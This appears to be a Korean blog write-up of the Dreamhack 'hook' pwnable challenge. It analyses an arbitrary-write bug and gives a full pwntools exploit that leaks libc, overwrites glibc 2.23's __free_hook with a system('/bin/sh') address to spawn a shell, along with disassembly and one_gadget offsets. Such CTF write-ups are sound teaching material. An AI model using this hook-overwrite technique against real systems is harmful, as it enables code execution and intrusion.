Wargame/Pwnable

[Dreamhack] hook | write-up

0xmausike 2025. 11. 22. 10:21

Problem

https://dreamhack.io/wargame/challenges/52

    Arch:       amd64-64-little  
    RELRO:      Full RELRO  
    Stack:      Canary found  
    NX:         NX enabled  
    PIE:        No PIE (0x3fe000)  
    Stripped:   No  

Background

  • hook
  • one_gadget / (option)

hook.c

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

코드 분석

  1. size 변수에 scanf로 정수 입력 받아 저장.
  2. ptr 변수에 size만큼의 바이트를 동적 할당.
  3. ptr가 가르키는 값에 read 함수로 size만큼 입력 받아 저장.
  4. *(long *)*ptr = *(ptr+1)
    • (중요) *ptr은 ptr이 가르키는 변수의 값. 여기서 한번 더 *(long *)로 인해 한번 더 앞의 변수의 값을 8바이트의 포인터로 인식. 따라서 *ptr의 값이 주소가 되어 해당 주소에 *(ptr+1)을 저장.
  5. free(ptr)을 두 번 실행.
    • 이는 이미 실행된 free함수를 때문에 두 번째 free함수가 반환을 시도할 때 유효하지 않은 주소에 대한 접근으로 Segmentation Falut가 발생

취약점 분석

라이브러리가 glibc 2.23임. 이는 hook overwrite에 취약한 라이브러리임. free가 실행될 때 __free_hook 변수의 값이 null이 아니라면 __free_hook 의 값이 가르키는 주소(명령어)을 먼저 실행함.

따라서 __free_hook 의 값을 main 함수의 system("/bin/sh") 혹은 oneshot gadget의 주소로 변경하면 해당 명령어가 실행됨.

코드 분석에서 4번을 확인하면 특정 주소에 임의의 값을 변경 할 수 있는 취약점이 있음.

  • *ptr은 ptr이 가르키는 변수의 값을 나타냄. (long *)*ptr은 8바이트로 된 포인터를 의미함. *(long *)*ptr(long *)*ptr이 가르키는 주소의 값을 나타내기에 ptr 시작 주소로부터 8 바이트를 free 함수의 hook 주소로 변경 후 실행 할 명령어의 주소를 *(ptr+1) 에 넣어주면 됨.

즉 read 함수로 ptr 변수에 입력할 때, 8바이트는 __free_hook의 주소. 다음 8 바이트는 실행할 명령어의 주소를 넣어주면 임의의 명령어를 실행할 수 있다.

Exploit code

from pwn import *

p = process("./hook")

#p = remote("host8.dreamhack.games", "23490")

elf = ELF('./hook')
libc = ELF('./libc-2.23.so')


p.recvuntil(b'stdout: ')
stdout = int(p.recvuntil('\n')[:-1], 16)

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']

one_gadget = libc_base + [0x4527a, 0xf03a4, 0xf1247][0]
system = 0x400a11

payload = p64(free_hook) + p64(system)
p.sendlineafter(b'Size: ', b'16') 
p.sendafter(b'Data: ', payload)

p.interactive()

참고

해당 문제의 바이너리는 PIE가 적용되어 있지 않기에 코드 부분의 주소가 임의의 주소에 배치되지 않고 고정된 주소에 배치됨.

  • system 함수를 실행하는 주소를 알아내는 방법
pwndbg> disas main
Dump of assembler code for function main:
   0x000000000040094a <+0>:     push   rbp
   0x000000000040094b <+1>:     mov    rbp,rsp
   0x000000000040094e <+4>:     sub    rsp,0x30
   0x0000000000400952 <+8>:     mov    DWORD PTR [rbp-0x24],edi
   0x0000000000400955 <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000400959 <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400962 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400966 <+28>:    xor    eax,eax
   0x0000000000400968 <+30>:    mov    eax,0x0
   0x000000000040096d <+35>:    call   0x4008ee <initialize>
   0x0000000000400972 <+40>:    mov    rax,QWORD PTR [rip+0x200697]        # 0x601010 <stdout@@GLIBC_2.2.5>
   0x0000000000400979 <+47>:    mov    rsi,rax
   0x000000000040097c <+50>:    mov    edi,0x400acd
   0x0000000000400981 <+55>:    mov    eax,0x0
   0x0000000000400986 <+60>:    call   0x400790 <printf@plt>
   0x000000000040098b <+65>:    mov    edi,0x400ad9
   0x0000000000400990 <+70>:    mov    eax,0x0
   0x0000000000400995 <+75>:    call   0x400790 <printf@plt>
   0x000000000040099a <+80>:    lea    rax,[rbp-0x18]
   0x000000000040099e <+84>:    mov    rsi,rax
   0x00000000004009a1 <+87>:    mov    edi,0x400ae0
   0x00000000004009a6 <+92>:    mov    eax,0x0
   0x00000000004009ab <+97>:    call   0x4007d0 <__isoc99_scanf@plt>
   0x00000000004009b0 <+102>:   mov    rax,QWORD PTR [rbp-0x18]
   0x00000000004009b4 <+106>:   mov    rdi,rax
   0x00000000004009b7 <+109>:   call   0x4007c0 <malloc@plt>
   0x00000000004009bc <+114>:   mov    QWORD PTR [rbp-0x10],rax
   0x00000000004009c0 <+118>:   mov    edi,0x400ae4
   0x00000000004009c5 <+123>:   mov    eax,0x0
   0x00000000004009ca <+128>:   call   0x400790 <printf@plt>
   0x00000000004009cf <+133>:   mov    rdx,QWORD PTR [rbp-0x18]
   0x00000000004009d3 <+137>:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009d7 <+141>:   mov    rsi,rax
   0x00000000004009da <+144>:   mov    edi,0x0
   0x00000000004009df <+149>:   call   0x4007a0 <read@plt>
   0x00000000004009e4 <+154>:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009e8 <+158>:   mov    rax,QWORD PTR [rax]
   0x00000000004009eb <+161>:   mov    rdx,rax
   0x00000000004009ee <+164>:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009f2 <+168>:   mov    rax,QWORD PTR [rax+0x8]
   0x00000000004009f6 <+172>:   mov    QWORD PTR [rdx],rax
   0x00000000004009f9 <+175>:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009fd <+179>:   mov    rdi,rax
   0x0000000000400a00 <+182>:   call   0x400770 <free@plt>
   0x0000000000400a05 <+187>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400a09 <+191>:   mov    rdi,rax
   0x0000000000400a0c <+194>:   call   0x400770 <free@plt>
   0x0000000000400a11 <+199>:   mov    edi,0x400aeb
   0x0000000000400a16 <+204>:   call   0x400788 <system@plt>
   0x0000000000400a1b <+209>:   mov    eax,0x0
   0x0000000000400a20 <+214>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400a24 <+218>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000400a2d <+227>:   je     0x400a34 <main+234>
   0x0000000000400a2f <+229>:   call   0x400780 <__stack_chk_fail@plt>
   0x0000000000400a34 <+234>:   leave
   0x0000000000400a35 <+235>:   ret
End of assembler dump.

0x0000000000400a11 main+199

"/bin/sh"를 인자로 주고 system 함수를 호출 해야하기에 gdb에서 System@plt를 호출하기 전 인자를 넣기 시작하는 주소를 찾아냄.

  • one_gadget 의 주소를 알아내는 방법
$ one_gadget ./libc-2.23.so 
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

인자를 직접 지정해주기 힘들고 system 함수를 호출하기 어려운 상황이라면 one_gadget을 사용해야함.

여기서는 아직 지식이 부족해서 어떤 조건의 가젯을 써야하는지 판단이 잘 안섭니다. 그래서 전부 넣어보고 되는걸로 진행했습니다.


본인의 실습 환경이 대상 타겟(호스트)의 환경과 달라 발생하는 문제 발생 시 해결 방법
(포스트 예정)